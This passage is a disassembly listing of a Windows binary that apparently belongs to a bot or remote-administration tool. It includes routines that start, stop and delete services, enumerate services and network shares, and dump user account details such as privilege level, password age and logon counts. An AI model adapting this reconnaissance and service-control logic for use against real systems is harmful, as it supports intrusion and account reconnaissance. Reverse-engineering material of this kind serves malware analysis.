[ebp+arg_4], eax fimul [ebp+arg_4] fmul dbl_434488 call sub_41991C sub esi, eax mov eax, esi pop esi leave retn sub_412243 endp ; =============== S U B R O U T I N E ======================================= sub_412280 proc near ; CODE XREF: sub_401C87+2E2Cp ; sub_401C87+2E95p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_0] push esi push edi mov edi, [esp+8+arg_4] test edi, edi jz short loc_4122E5 lea esi, [eax+eax*2] push 0 shl esi, 2 push 0 push dword_443628[esi] push edi push eax call sub_412307 add esp, 14h test eax, eax jnz short loc_4122C8 push edi push off_443624[esi] mov esi, offset dword_4DDCE0 push offset unk_443674 push esi call sub_417CB0 add esp, 10h jmp short loc_412302 ; --------------------------------------------------------------------------- loc_4122C8: ; CODE XREF: sub_412280+2Aj push eax call sub_4123A9 push eax push edi mov esi, offset dword_4DDCE0 push offset unk_443690 push esi call sub_417CB0 add esp, 14h jmp short loc_412302 ; --------------------------------------------------------------------------- loc_4122E5: ; CODE XREF: sub_412280+Cj lea eax, [eax+eax*2] mov esi, offset dword_4DDCE0 push off_443620[eax*4] push offset unk_4436BC push esi call sub_417CB0 add esp, 0Ch loc_412302: ; CODE XREF: sub_412280+46j ; sub_412280+63j mov eax, esi pop edi pop esi retn sub_412280 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412307 proc near ; CODE XREF: sub_412280+20p var_1C = byte ptr -1Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 1Ch push ebx push edi xor ebx, ebx push 0F003Fh push ebx push ebx call dword_4D665C ; OpenSCManagerA mov edi, eax cmp edi, ebx jnz short loc_41232E call dword_4E0350 ; RtlGetLastWin32Error mov ebx, eax jmp short loc_4123A3 ; --------------------------------------------------------------------------- loc_41232E: ; CODE XREF: sub_412307+1Bj push esi push 0F01FFh push [ebp+arg_4] push edi call dword_4D6544 ; OpenServiceA mov esi, eax cmp esi, ebx jnz short loc_41234E call dword_4E0350 ; RtlGetLastWin32Error mov ebx, eax jmp short loc_41239B ; --------------------------------------------------------------------------- loc_41234E: ; CODE XREF: sub_412307+3Bj mov eax, [ebp+arg_0] cmp eax, 1 jz short loc_412381 cmp eax, 3 jz short loc_412372 jle short loc_412394 cmp eax, 6 jg short loc_412394 lea eax, [ebp+var_1C] push eax push [ebp+arg_8] push esi call dword_4D65B0 ; ControlService jmp short loc_412388 ; --------------------------------------------------------------------------- loc_412372: ; CODE XREF: sub_412307+52j push [ebp+arg_10] push [ebp+arg_C] push esi call dword_4D654C ; StartServiceA jmp short loc_412388 ; --------------------------------------------------------------------------- loc_412381: ; CODE XREF: sub_412307+4Dj push esi call dword_4D65B4 ; DeleteService loc_412388: ; CODE XREF: sub_412307+69j ; sub_412307+78j test eax, eax jnz short loc_412394 call dword_4E0350 ; RtlGetLastWin32Error mov ebx, eax loc_412394: ; CODE XREF: sub_412307+54j ; sub_412307+59j ... push esi call dword_4D6560 ; CloseServiceHandle loc_41239B: ; CODE XREF: sub_412307+45j push edi call dword_4D6560 ; CloseServiceHandle pop esi loc_4123A3: ; CODE XREF: sub_412307+25j mov eax, ebx pop edi pop ebx leave retn sub_412307 endp ; =============== S U B R O U T I N E ======================================= sub_4123A9 proc near ; CODE XREF: sub_412280+49p arg_0 = dword ptr 4 mov eax, [esp+arg_0] mov ecx, 420h cmp eax, ecx ja loc_41245E jz loc_412457 add ecx, 0FFFFFFFBh cmp eax, ecx ja short loc_412421 jz short loc_412417 mov ecx, eax sub ecx, 3 jz short loc_41240D dec ecx dec ecx jz short loc_412403 dec ecx jz short loc_4123F9 sub ecx, 51h jz short loc_4123EF sub ecx, 24h jnz loc_4124D4 ; default ; jumptable 0041247B cases 1,5,6,8,9,12,13,15,16 push offset aTheSpecifiedSe ; "The specified service name is invalid." jmp loc_4124C6 ; --------------------------------------------------------------------------- loc_4123EF: ; CODE XREF: sub_4123A9+31j push offset aTheRequestedCo ; "The requested control code is undefined"... jmp loc_4124C6 ; --------------------------------------------------------------------------- loc_4123F9: ; CODE XREF: sub_4123A9+2Cj push offset aTheHandleIsInv ; "The handle is invalid." jmp loc_4124C6 ; --------------------------------------------------------------------------- loc_412403: ; CODE XREF: sub_4123A9+29j push offset aTheHandleDoesN ; "The handle does not have the required a"... jmp loc_4124C6 ; --------------------------------------------------------------------------- loc_41240D: ; CODE XREF: sub_4123A9+25j push offset aTheServiceBina ; "The service binary file could not be fo"... jmp loc_4124C6 ; --------------------------------------------------------------------------- loc_412417: ; CODE XREF: sub_4123A9+1Ej push offset aTheServiceCann ; "The service cannot be stopped because o"... jmp loc_4124C6 ; --------------------------------------------------------------------------- loc_412421: ; CODE XREF: sub_4123A9+1Cj mov ecx, eax sub ecx, 41Ch jz short loc_412450 dec ecx jz short loc_412449 dec ecx jz short loc_412442 dec ecx jnz loc_4124D4 ; default ; jumptable 0041247B cases 1,5,6,8,9,12,13,15,16 push offset aTheDatabaseIsL ; "The database is locked." jmp loc_4124C6 ; --------------------------------------------------------------------------- loc_412442: ; CODE XREF: sub_4123A9+86j push offset aAThreadCouldNo ; "A thread could not be created for the s"... jmp short loc_4124C6 ; --------------------------------------------------------------------------- loc_412449: ; CODE XREF: sub_4123A9+83j push offset aTheProcessForT ; "The process for the service was started"... jmp short loc_4124C6 ; --------------------------------------------------------------------------- loc_412450: ; CODE XREF: sub_4123A9+80j push offset aTheRequested_0 ; "The requested control code is not valid"... jmp short loc_4124C6 ; --------------------------------------------------------------------------- loc_412457: ; CODE XREF: sub_4123A9+11j push offset aAnInstanceOfTh ; "An instance of the service is already r"... jmp short loc_4124C6 ; --------------------------------------------------------------------------- loc_41245E: ; CODE XREF: sub_4123A9+Bj mov ecx, 45Bh cmp eax, ecx ja short loc_4124D4 ; default ; jumptable 0041247B cases 1,5,6,8,9,12,13,15,16 jz short loc_4124C1 lea ecx, [eax-422h] cmp ecx, 11h ; switch 18 cases ja short loc_4124D4 ; default ; jumptable 0041247B cases 1,5,6,8,9,12,13,15,16 movzx ecx, byte_412515[ecx] jmp off_4124ED[ecx*4] ; switch jump loc_412482: ; DATA XREF: .data:off_4124EDo push offset aTheSpecifiedDa ; jumptable 0041247B case 7 jmp short loc_4124C6 ; --------------------------------------------------------------------------- loc_412489: ; CODE XREF: sub_4123A9+D2j ; DATA XREF: .data:off_4124EDo push offset aTheServiceDepe ; jumptable 0041247B case 17 jmp short loc_4124C6 ; --------------------------------------------------------------------------- loc_412490: ; CODE XREF: sub_4123A9+D2j ; DATA XREF: .data:off_4124EDo push offset aTheServiceDe_0 ; jumptable 0041247B case 10 jmp short loc_4124C6 ; --------------------------------------------------------------------------- loc_412497: ; CODE XREF: sub_4123A9+D2j ; DATA XREF: .data:off_4124EDo push offset aTheServiceHasB ; jumptable 0041247B case 0 jmp short loc_4124C6 ; --------------------------------------------------------------------------- loc_41249E: ; CODE XREF: sub_4123A9+D2j ; DATA XREF: .data:off_4124EDo push offset aTheSpecified_0 ; jumptable 0041247B case 2 jmp short loc_4124C6 ; --------------------------------------------------------------------------- loc_4124A5: ; CODE XREF: sub_4123A9+D2j ; DATA XREF: .data:off_4124EDo push offset aTheServiceCoul ; jumptable 0041247B case 11 jmp short loc_4124C6 ; --------------------------------------------------------------------------- loc_4124AC: ; CODE XREF: sub_4123A9+D2j ; DATA XREF: .data:off_4124EDo push offset aTheServiceHa_0 ; jumptable 0041247B case 14 jmp short loc_4124C6 ; --------------------------------------------------------------------------- loc_4124B3: ; CODE XREF: sub_4123A9+D2j ; DATA XREF: .data:off_4124EDo push offset aTheRequested_1 ; jumptable 0041247B case 3 jmp short loc_4124C6 ; --------------------------------------------------------------------------- loc_4124BA: ; CODE XREF: sub_4123A9+D2j ; DATA XREF: .data:off_4124EDo push offset aTheServiceHasN ; jumptable 0041247B case 4 jmp short loc_4124C6 ; --------------------------------------------------------------------------- loc_4124C1: ; CODE XREF: sub_4123A9+BEj push offset aTheSystemIsShu ; "The system is shutting down." loc_4124C6: ; CODE XREF: sub_4123A9+41j ; sub_4123A9+4Bj ... push offset dword_4DD610 call sub_417CB0 pop ecx pop ecx jmp short loc_4124E7 ; --------------------------------------------------------------------------- loc_4124D4: ; CODE XREF: sub_4123A9+36j ; sub_4123A9+89j ... push eax ; default ; jumptable 0041247B cases 1,5,6,8,9,12,13,15,16 push offset aAnUnknownError ; "An unknown error occurred: <%ld>" push offset dword_4DD610 call sub_417CB0 add esp, 0Ch loc_4124E7: ; CODE XREF: sub_4123A9+129j mov eax, offset dword_4DD610 retn sub_4123A9 endp ; --------------------------------------------------------------------------- off_4124ED dd offset loc_412497 ; DATA XREF: sub_4123A9+D2r dd offset loc_41249E ; jump table for switch statement dd offset loc_4124B3 dd offset loc_4124BA dd offset loc_412482 dd offset loc_412490 dd offset loc_4124A5 dd offset loc_4124AC dd offset loc_412489 dd offset loc_4124D4 byte_412515 db 0, 9, 1, 2 ; DATA XREF: sub_4123A9+CBr db 3, 9, 9, 4 ; indirect table for switch statement db 9, 9, 5, 6 db 9, 9, 7, 9 db 9, 8 ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412527 proc near ; CODE XREF: sub_401C87+2E57p var_38C = byte ptr -38Ch var_18C = byte ptr -18Ch var_188 = byte ptr -188h var_24 = byte ptr -24h var_20 = byte ptr -20h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 38Ch push ebx push esi push edi xor ebx, ebx push 0F003Fh push ebx push ebx mov [ebp+var_8], ebx call dword_4D665C ; OpenSCManagerA push ebx mov [ebp+var_C], eax push [ebp+arg_8] push offset aTheFollowingWi ; "The following Windows services are regi"... push [ebp+arg_4] push [ebp+arg_0] call sub_40764A add esp, 14h loc_41255F: ; CODE XREF: sub_412527+123j lea eax, [ebp+var_8] push eax lea eax, [ebp+var_4] push eax lea eax, [ebp+var_24] push eax lea eax, [ebp+var_18C] push 168h push eax push 3 push 30h push [ebp+var_C] call dword_4D6628 ; EnumServicesStatusA test eax, eax jnz short loc_412599 call dword_4E0350 ; RtlGetLastWin32Error cmp eax, 0EAh jnz loc_412650 loc_412599: ; CODE XREF: sub_412527+5Fj xor edi, edi cmp [ebp+var_4], ebx jle loc_412647 lea esi, [ebp+var_188] loc_4125AA: ; CODE XREF: sub_412527+11Aj mov eax, [esi+8] dec eax jz short loc_4125F6 dec eax jz short loc_4125EF dec eax jz short loc_4125E8 dec eax jz short loc_4125E1 dec eax jz short loc_4125DA dec eax jz short loc_4125D3 dec eax lea eax, [ebp+var_20] jz short loc_4125CC push offset aUnknown ; " Unknown" jmp short loc_4125FE ; --------------------------------------------------------------------------- loc_4125CC: ; CODE XREF: sub_412527+9Cj push offset aPaused ; " Paused" jmp short loc_4125FE ; --------------------------------------------------------------------------- loc_4125D3: ; CODE XREF: sub_412527+96j push offset aPausing ; " Pausing" jmp short loc_4125FB ; --------------------------------------------------------------------------- loc_4125DA: ; CODE XREF: sub_412527+93j push offset aContinuing ; " Continuing" jmp short loc_4125FB ; --------------------------------------------------------------------------- loc_4125E1: ; CODE XREF: sub_412527+90j push offset aRunning ; " Running" jmp short loc_4125FB ; --------------------------------------------------------------------------- loc_4125E8: ; CODE XREF: sub_412527+8Dj push offset aStoping ; " Stoping" jmp short loc_4125FB ; --------------------------------------------------------------------------- loc_4125EF: ; CODE XREF: sub_412527+8Aj push offset aStarting ; " Starting" jmp short loc_4125FB ; --------------------------------------------------------------------------- loc_4125F6: ; CODE XREF: sub_412527+87j push offset aStopped ; " Stopped" loc_4125FB: ; CODE XREF: sub_412527+B1j ; sub_412527+B8j ... lea eax, [ebp+var_20] loc_4125FE: ; CODE XREF: sub_412527+A3j ; sub_412527+AAj push eax call sub_417CB0 pop ecx lea eax, [ebp+var_20] pop ecx push dword ptr [esi] push dword ptr [esi-4] push eax lea eax, [ebp+var_38C] push offset aSSS_0 ; "%s: %s (%s)" push eax call sub_417CB0 push 1 lea eax, [ebp+var_38C] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40764A add esp, 28h inc edi add esi, 24h cmp edi, [ebp+var_4] jl loc_4125AA loc_412647: ; CODE XREF: sub_412527+77j cmp [ebp+var_8], ebx jnz loc_41255F loc_412650: ; CODE XREF: sub_412527+6Cj push [ebp+var_C] call dword_4D6560 ; CloseServiceHandle xor eax, eax pop edi cmp eax, [ebp+var_4] pop esi pop ebx sbb eax, eax neg eax leave retn sub_412527 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412667 proc near ; CODE XREF: sub_401C87+2F3Dp ; sub_401C87+2F53p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_4] test edi, edi jz loc_412700 mov esi, [ebp+arg_0] mov eax, esi sub eax, 0 jz short loc_412690 dec eax jnz short loc_4126E0 push edi push 0 call sub_412839 pop ecx pop ecx jmp short loc_4126DC ; --------------------------------------------------------------------------- loc_412690: ; CODE XREF: sub_412667+18j cmp [ebp+arg_8], 0 jnz short loc_4126CE push 24h push edi call sub_418970 pop ecx test eax, eax pop ecx jnz short loc_4126CE push 57h pop eax loc_4126A7: ; CODE XREF: sub_412667+77j push eax call sub_413007 push eax lea eax, [esi+esi*2] push edi mov esi, offset dword_4DD8D8 push off_443620[eax*4] push offset unk_443C28 push esi call sub_417CB0 add esp, 18h jmp short loc_412720 ; --------------------------------------------------------------------------- loc_4126CE: ; CODE XREF: sub_412667+2Dj ; sub_412667+3Bj push [ebp+arg_8] push edi push 0 call sub_41278D add esp, 0Ch loc_4126DC: ; CODE XREF: sub_412667+27j test eax, eax jnz short loc_4126A7 loc_4126E0: ; CODE XREF: sub_412667+1Bj lea eax, [esi+esi*2] push edi mov esi, offset dword_4DD8D8 push off_443624[eax*4] push offset dword_443C54 push esi call sub_417CB0 add esp, 10h jmp short loc_412720 ; --------------------------------------------------------------------------- loc_412700: ; CODE XREF: sub_412667+Aj mov eax, [ebp+arg_0] mov esi, offset dword_4DD8D8 lea eax, [eax+eax*2] push off_443620[eax*4] push offset unk_443C70 push esi call sub_417CB0 add esp, 0Ch loc_412720: ; CODE XREF: sub_412667+65j ; sub_412667+97j mov eax, esi pop edi pop esi pop ebp retn sub_412667 endp ; =============== S U B R O U T I N E ======================================= sub_412726 proc near ; CODE XREF: sub_413FC4+247p arg_0 = dword ptr 4 arg_C = dword ptr 10h push esi xor esi, esi cmp [esp+4+arg_0], esi jnz short loc_412733 xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_412733: ; CODE XREF: sub_412726+7j push ebx push ebp push edi push esi push esi push esi mov edi, dword_4E0424 push esi push 0FFFFFFFFh mov ebx, 400h push [esp+24h+arg_0] push ebx push esi call edi ; WideCharToMultiByte test byte_4DDAD8, 1 mov ebp, eax jnz short loc_412770 or byte_4DDAD8, 1 lea eax, [ebp+1] push eax call sub_419E80 pop ecx mov dword_4DD870, eax loc_412770: ; CODE XREF: sub_412726+32j push esi push esi push ebp push dword_4DD870 push 0FFFFFFFFh push [esp+18h+arg_C] push ebx push esi call edi ; WideCharToMultiByte mov eax, dword_4DD870 pop edi pop ebp pop ebx pop esi retn sub_412726 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41278D proc near ; CODE XREF: sub_412667+6Dp ; sub_4142EA+188p ... var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 20h push edi push [ebp+arg_0] call sub_4127F8 push [ebp+arg_4] mov edi, eax call sub_4127F8 push 24h mov [ebp+var_20], eax push [ebp+arg_4] call sub_418970 push [ebp+arg_8] mov [ebp+var_14], 7Fh neg eax sbb eax, eax and [ebp+var_18], 0 or [ebp+var_10], 0FFFFFFFFh and [ebp+var_C], 0 and eax, 80000000h mov [ebp+var_1C], eax call sub_4127F8 add esp, 14h mov [ebp+var_8], eax and [ebp+var_4], 0 lea eax, [ebp+arg_0] push eax lea eax, [ebp+var_20] push eax push 2 push edi call dword_4D655C pop edi leave retn sub_41278D endp ; =============== S U B R O U T I N E ======================================= sub_4127F8 proc near ; CODE XREF: sub_41278D+Ap ; sub_41278D+14p ... arg_0 = dword ptr 4 push ebp mov ebp, [esp+4+arg_0] xor eax, eax cmp ebp, eax jnz short loc_412805 pop ebp retn ; --------------------------------------------------------------------------- loc_412805: ; CODE XREF: sub_4127F8+9j push ebx push esi mov esi, dword_4E0428 push edi push eax push eax push 0FFFFFFFFh push ebp push 1 push eax call esi ; MultiByteToWideChar mov edi, eax lea eax, [edi+edi+2] push eax call sub_419E80 pop ecx mov ebx, eax push edi push ebx push 0FFFFFFFFh push ebp push 1 push 0 call esi ; MultiByteToWideChar pop edi mov eax, ebx pop esi pop ebx pop ebp retn sub_4127F8 endp ; =============== S U B R O U T I N E ======================================= sub_412839 proc near ; CODE XREF: sub_412667+20p ; sub_413FC4+1BCp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_0] call sub_4127F8 push [esp+8+arg_4] mov esi, eax call sub_4127F8 pop ecx pop ecx push 0 push eax push esi call dword_4D6534 pop esi retn sub_412839 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41285C proc near ; CODE XREF: sub_401C87+2F7Fp var_210 = byte ptr -210h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 210h push ebx push esi push edi push [ebp+arg_C] call sub_4127F8 xor esi, esi mov [ebp+var_C], eax push esi mov [ebp+arg_C], esi push [ebp+arg_8] mov [ebp+var_8], esi mov [ebp+var_10], esi push offset aShareNameResou ; "Share name: Resource: "... push [ebp+arg_4] push [ebp+arg_0] call sub_40764A add esp, 18h loc_412895: ; CODE XREF: sub_41285C+10Fj lea eax, [ebp+var_10] push eax lea eax, [ebp+var_8] push eax lea eax, [ebp+arg_C] push eax lea eax, [ebp+var_4] push 0FFFFFFFFh push eax push 1F6h push [ebp+var_C] call dword_4D65AC mov ebx, eax cmp ebx, esi jz short loc_4128F8 cmp ebx, 0EAh jz short loc_4128F8 push ebx push ebx call sub_413007 pop ecx push eax lea eax, [ebp+var_210] push offset unk_443CCC push eax call sub_417CB0 push esi lea eax, [ebp+var_210] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40764A add esp, 24h jmp short loc_412965 ; --------------------------------------------------------------------------- loc_4128F8: ; CODE XREF: sub_41285C+5Dj ; sub_41285C+65j xor edi, edi inc edi cmp [ebp+arg_C], edi jb short loc_41295C mov eax, [ebp+var_4] lea esi, [eax+14h] loc_412906: ; CODE XREF: sub_41285C+FCj push dword ptr [esi+10h] call dword_4D6550 ; IsValidSecurityDescriptor test eax, eax mov eax, offset aYes ; "Yes" jnz short loc_41291D mov eax, offset aNo ; "No" loc_41291D: ; CODE XREF: sub_41285C+BAj push eax lea eax, [ebp+var_210] push dword ptr [esi] push dword ptr [esi+4] push dword ptr [esi-14h] push offset a14s24s6u4s ; "%-14S %-24S %-6u %-4s" push eax call sub_417CB0 push 1 lea eax, [ebp+var_210] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_40764A add esp, 2Ch add esi, 28h inc edi cmp edi, [ebp+arg_C] jbe short loc_412906 xor esi, esi loc_41295C: ; CODE XREF: sub_41285C+A2j push [ebp+var_4] call dword_4D66F8 loc_412965: ; CODE XREF: sub_41285C+9Aj cmp ebx, 0EAh jz loc_412895 xor eax, eax cmp ebx, esi pop edi pop esi setz al pop ebx leave retn sub_41285C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41297D proc near ; CODE XREF: sub_401C87+2FD8p ; sub_401C87+2FF3p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push ebx mov ebx, [ebp+arg_4] push esi push edi xor edi, edi cmp ebx, edi jz loc_412A21 mov esi, [ebp+arg_0] mov eax, esi sub eax, edi jz short loc_4129BF dec eax jz short loc_4129B4 dec eax jnz short loc_4129DA push [ebp+arg_14] push [ebp+arg_10] push [ebp+arg_C] push ebx push edi call sub_412AC3 add esp, 14h jmp short loc_4129D6 ; --------------------------------------------------------------------------- loc_4129B4: ; CODE XREF: sub_41297D+1Dj push ebx push edi call sub_412AA2 pop ecx pop ecx jmp short loc_4129D6 ; --------------------------------------------------------------------------- loc_4129BF: ; CODE XREF: sub_41297D+1Aj cmp [ebp+arg_8], edi jz short loc_4129D3 push [ebp+arg_8] push ebx push edi call sub_412A48 add esp, 0Ch jmp short loc_4129D6 ; --------------------------------------------------------------------------- loc_4129D3: ; CODE XREF: sub_41297D+45j push 57h pop eax loc_4129D6: ; CODE XREF: sub_41297D+35j ; sub_41297D+40j ... cmp eax, edi jnz short loc_4129FA loc_4129DA: ; CODE XREF: sub_41297D+20j lea eax, [esi+esi*2] push ebx mov esi, offset dword_4DDAE0 push off_443624[eax*4] push offset unk_443D14 push esi call sub_417CB0 add esp, 10h jmp short loc_412A41 ; --------------------------------------------------------------------------- loc_4129FA: ; CODE XREF: sub_41297D+5Bj push eax call sub_413007 push eax lea eax, [esi+esi*2] push ebx mov esi, offset dword_4DDAE0 push off_443620[eax*4] push offset unk_443D34 push esi call sub_417CB0 add esp, 18h jmp short loc_412A41 ; --------------------------------------------------------------------------- loc_412A21: ; CODE XREF: sub_41297D+Dj mov eax, [ebp+arg_0] mov esi, offset dword_4DDAE0 lea eax, [eax+eax*2] push off_443620[eax*4] push offset unk_443D64 push esi call sub_417CB0 add esp, 0Ch loc_412A41: ; CODE XREF: sub_41297D+7Bj ; sub_41297D+A2j mov eax, esi pop edi pop esi pop ebx pop ebp retn sub_41297D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412A48 proc near ; CODE XREF: sub_41297D+4Cp var_24 = dword ptr -24h var_20 = dword ptr -20h var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 24h and [ebp+var_4], 0 push edi push [ebp+arg_0] call sub_4127F8 push [ebp+arg_4] mov edi, eax call sub_4127F8 push [ebp+arg_8] mov [ebp+var_24], eax call sub_4127F8 add esp, 0Ch and [ebp+var_14], 0 and [ebp+var_10], 0 and [ebp+var_8], 0 lea ecx, [ebp+var_4] mov [ebp+var_20], eax xor eax, eax push ecx lea ecx, [ebp+var_24] inc eax push ecx push eax push edi mov [ebp+var_18], eax mov [ebp+var_C], 10001h call dword_4D6540 pop edi leave retn sub_412A48 endp ; =============== S U B R O U T I N E ======================================= sub_412AA2 proc near ; CODE XREF: sub_41297D+39p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_0] call sub_4127F8 push [esp+8+arg_4] mov esi, eax call sub_4127F8 pop ecx pop ecx push eax push esi call dword_4D6530 pop esi retn sub_412AA2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_412AC3 proc near ; CODE XREF: sub_41297D+2Dp var_204 = byte ptr -204h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 204h and [ebp+var_4], 0 push esi push [ebp+arg_0] call sub_4127F8 push [ebp+arg_4] mov esi, eax call sub_4127F8 pop ecx pop ecx lea ecx, [ebp+var_4] push ecx push 0Bh push eax push esi call dword_4D66C0 test eax, eax mov [ebp+arg_0], eax jnz loc_412E50 mov eax, [ebp+var_4] test eax, eax jz loc_412E8B push ebx push edi push dword ptr [eax] lea eax, [ebp+var_204] push offset aAccountS ; "Account: %S" push eax call sub_417CB0 mov esi, [ebp+arg_10] mov edi, [ebp+arg_C] mov ebx, [ebp+arg_8] push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40764A mov eax, [ebp+var_4] push dword ptr [eax+0Ch] lea eax, [ebp+var_204] push offset aFullNameS ; "Full Name: %S" push eax call sub_417CB0 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40764A mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+8] lea eax, [ebp+var_204] push offset aUserCommentS ; "User Comment: %S" push eax call sub_417CB0 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40764A mov eax, [ebp+var_4] push dword ptr [eax+4] lea eax, [ebp+var_204] push offset aCommentS ; "Comment: %S" push eax call sub_417CB0 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40764A mov eax, [ebp+var_4] add esp, 40h mov eax, [eax+10h] sub eax, 0 jz short loc_412BDC dec eax jz short loc_412BD5 dec eax jz short loc_412BCE mov eax, offset aUnknown_1 ; "Unknown" jmp short loc_412BE1 ; --------------------------------------------------------------------------- loc_412BCE: ; CODE XREF: sub_412AC3+102j mov eax, offset aAdministrato_0 ; "Administrator" jmp short loc_412BE1 ; --------------------------------------------------------------------------- loc_412BD5: ; CODE XREF: sub_412AC3+FFj mov eax, offset aUser_3 ; "User" jmp short loc_412BE1 ; --------------------------------------------------------------------------- loc_412BDC: ; CODE XREF: sub_412AC3+FCj mov eax, offset aGuest_0 ; "Guest" loc_412BE1: ; CODE XREF: sub_412AC3+109j ; sub_412AC3+110j ... push eax lea eax, [ebp+var_204] push offset aPrivilegeLevel ; "Privilege Level: %s" push eax call sub_417CB0 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40764A mov eax, [ebp+var_4] push dword ptr [eax+14h] lea eax, [ebp+var_204] push offset aAuthFlagsD ; "Auth Flags: %d" push eax call sub_417CB0 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40764A mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+1Ch] lea eax, [ebp+var_204] push offset aHomeDirectoryS ; "Home Directory: %S" push eax call sub_417CB0 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40764A mov eax, [ebp+var_4] push dword ptr [eax+20h] lea eax, [ebp+var_204] push offset aParametersS ; "Parameters: %S" push eax call sub_417CB0 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40764A mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+18h] lea eax, [ebp+var_204] push offset aPasswordAgeD ; "Password Age: %d" push eax call sub_417CB0 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40764A mov eax, [ebp+var_4] push dword ptr [eax+2Ch] lea eax, [ebp+var_204] push offset aBadPasswordCou ; "Bad Password Count: %d" push eax call sub_417CB0 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40764A mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+30h] lea eax, [ebp+var_204] push offset aNumberOfLogins ; "Number of Logins: %d" push eax call sub_417CB0 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40764A mov eax, [ebp+var_4] push dword ptr [eax+24h] lea eax, [ebp+var_204] push offset aLastLogonD ; "Last Logon: %d" push eax call sub_417CB0 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40764A mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+28h] lea eax, [ebp+var_204] push offset aLastLogoffD ; "Last Logoff: %d" push eax call sub_417CB0 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40764A mov eax, [ebp+var_4] push dword ptr [eax+34h] lea eax, [ebp+var_204] push offset aLogonServerS ; "Logon Server: %S" push eax call sub_417CB0 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40764A mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+3Ch] lea eax, [ebp+var_204] push offset aWorkstationsS ; "Workstations: %S" push eax call sub_417CB0 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40764A mov eax, [ebp+var_4] push dword ptr [eax+38h] lea eax, [ebp+var_204] push offset aCountryCodeD ; "Country Code: %d" push eax call sub_417CB0 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40764A mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+4Ch] lea eax, [ebp+var_204] push offset aUserSLanguageD ; "User's Language: %d" push eax call sub_417CB0 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40764A mov eax, [ebp+var_4] push dword ptr [eax+40h] lea eax, [ebp+var_204] push offset aMax_StorageD ; "Max. Storage: %d" push eax call sub_417CB0 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40764A mov eax, [ebp+var_4] add esp, 40h push dword ptr [eax+44h] lea eax, [ebp+var_204] push offset aUnitsPerWeekD ; "Units Per Week: %d" push eax call sub_417CB0 push 1 lea eax, [ebp+var_204] push esi push eax push edi push ebx call sub_40764A add esp, 20h pop edi pop ebx jmp short loc_412E7C ; --------------------------------------------------------------------------- loc_412E50: ; CODE 